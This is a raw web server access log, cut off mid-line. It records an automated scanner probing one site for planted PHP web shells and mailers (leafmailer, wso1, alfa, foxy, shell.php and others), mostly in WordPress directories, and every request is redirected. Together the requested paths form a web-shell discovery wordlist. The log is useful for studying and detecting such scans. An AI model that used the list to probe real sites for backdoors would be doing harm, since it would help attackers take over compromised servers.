- - [27/Apr/2025:08:47:46 -0400] "GET /wp-content/upgrades/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:48 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:49 -0400] "GET /rhs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:50 -0400] "GET /toor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:51 -0400] "GET /bot.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:52 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:53 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:54 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:55 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:56 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:57 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:58 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:00 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:01 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:02 -0400] "GET /php_sender.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:03 -0400] "GET /phpsender.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:04 -0400] "GET /smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:05 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:06 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:07 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:08 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:09 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:10 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:11 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:12 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:13 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:14 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:15 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:16 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:17 -0400] "GET /gaza.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:18 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:19 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:20 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:21 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:22 -0400] "GET /Lux.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:23 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:24 -0400] "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:25 -0400] "GET /wp-content/plugins/zaen/includes/loadme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:26 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:27 -0400] "GET /wp-content/plugins/cakil/up.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:28 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:29 -0400] "GET /wp-content/plugins/ubh/con.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:30 -0400] "GET /wp-content/plugins/cache-wordpress/payment.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:31 -0400] "GET /wp-content/plugins/cekidot/mr.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:32 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:33 -0400] "GET /wp-content/plugins/wp-freeform/black2llleaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:34 -0400] "GET /wpvitamins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:35 -0400] "GET /wordpress/fw.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:36 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:37 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:39 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:40 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:41 -0400] "GET /wp-admin/f0x.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:42 -0400] "GET /wp-content/f0x.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:43 -0400] "GET /wp-includes/f0x.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:44 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:44 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:45 -0400] "GET /wp-includes/alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:46 -0400] "GET /wp-content/plugins/capture/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:48 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:49 -0400] "GET /wp-content/uploads/image.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:50 -0400] "GET /wp-content/cache/cache.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:51 -0400] "GET /wp-includes/random_compat/random.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:51 -0400] "GET /wp-admin/css/colors/coffee/color.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:52 -0400] "GET /cgi-bin/color.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:54 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:55 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:57 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:58 -0400] "GET /wp-admin/images/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:48:59 -0400] "GET /wp-includes/fonts/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:00 -0400] "GET /wp-content/themes/leafmailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:01 -0400] "GET /uploads/leafmailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:02 -0400] "GET /plugins/leafmailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:03 -0400] "GET /wp-content/plugins/wp-seo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:04 -0400] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:05 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:06 -0400] "GET /wp-includes/rest-api/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:07 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:08 -0400] "GET /wp-includes/pomo/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:09 -0400] "GET /wp-content/gallery/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:10 -0400] "GET /themes/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:49:10 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:49:11 -0400] "GET /wp-admin/css/load.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:12 -0400] "GET /wp-includes/Text/load.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:12 -0400] "GET /wp-content/gallery/load.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:13 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:14 -0400] "GET /wp-content/themes/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:15 -0400] "GET /wp-content/plugins/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:16 -0400] "GET /wp-admin/includes/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:17 -0400] "GET /wp-content/uploads/2022/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:18 -0400] "GET /wp-admin/user.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:19 -0400] "GET /cgi-bin/user.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:20 -0400] "GET /wp-admin/myloader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:21 -0400] "GET /wp-content/themes/wpadmin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:22 -0400] "GET /wp-admin/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:23 -0400] "GET /uploads/wp-admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:24 -0400] "GET /wp-content/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:25 -0400] "GET /wp-admin/secure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:49:26 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:49:26 -0400] "GET /wp-includes/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:27 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:28 -0400] "GET /wp-content/blackleaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:29 -0400] "GET /wp-content/themes/download.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:29 -0400] "GET /wp-admin/js/download.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:30 -0400] "GET /uploads/images/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:31 -0400] "GET /uploads/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:32 -0400] "GET /wp-content/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:33 -0400] "GET /wp-includes/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:34 -0400] "GET /foxy/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:35 -0400] "GET /wp-includes/rest-api/fields/txt.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:36 -0400] "GET /wp-content/uploads/backup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:37 -0400] "GET /wp-content/uploads/secure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:39 -0400] "GET /wp-content/themes/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:40 -0400] "GET /wp-includes/themes/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:41 -0400] "GET /wp-content/uploads/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:42 -0400] "GET /uploadme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:43 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:49:43 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:49:44 -0400] "GET /wp-admin/images/secure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:45 -0400] "GET /uploadfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:46 -0400] "GET /wp-content/plugins/leafmailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:47 -0400] "GET /foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:48 -0400] "GET /secure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:49 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:50 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:51 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:52 -0400] "GET /wp-admin/includes/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:53 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:54 -0400] "GET /backup/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:55 -0400] "GET /uploads/backup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:49:55 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:49:56 -0400] "GET /admin/secure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:57 -0400] "GET /images/uploadme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:49:57 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:49:58 -0400] "GET /wp-admin/uploadme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:49:59 -0400] "GET /secure/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:00 -0400] "GET /uploads/foxy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:01 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:02 -0400] "GET /wp-content/plugins/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:03 -0400] "GET /uploads/uploadfile.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:04 -0400] "GET /secure/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:05 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:07 -0400] "GET /admin/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:08 -0400] "GET /uploads/wp-content.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:09 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:10 -0400] "GET /foxy/secure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:11 -0400] "GET /uploads/wp-includes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:12 -0400] "GET /uploads/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:13 -0400] "GET /backup/secure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:14 -0400] "GET /secure/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:15 -0400] "GET /uploads/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:16 -0400] "GET /uploads/index2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:17 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:18 -0400] "GET /shell2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:19 -0400] "GET /wp-content/plugins/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:20 -0400] "GET /uploads/class2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:22 -0400] "GET /wp-content/class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:23 -0400] "GET /uploads/wpadmin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:23 -0400] "GET /secure/wp-admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:24 -0400] "GET /uploadsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:25 -0400] "GET /uploads/themes2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:50:26 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:50:26 -0400] "GET /uploads/backup2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:27 -0400] "GET /foxy/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:28 -0400] "GET /uploads/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:29 -0400] "GET /uploads/secureme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:29 -0400] "GET /uploads/wp-admin/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:30 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:31 -0400] "GET /uploads/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:32 -0400] "GET /backup/backup2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:33 -0400] "GET /uploads/safe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:33 -0400] "GET /safe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:34 -0400] "GET /wp-content/safe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:35 -0400] "GET /backup/safe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:36 -0400] "GET /wp-admin/safe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:37 -0400] "GET /uploads/wp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:38 -0400] "GET /uploads/file2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:39 -0400] "GET /leafmailer/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:40 -0400] "GET /uploads/uploadme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:41 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:42 -0400] "GET /uploads/backupme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:43 -0400] "GET /secure/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:44 -0400] "GET /uploads/classsecure.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:44 -0400] "GET /uploads/admin2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:50:45 -0400] "GET /uploads/themesbackup.php 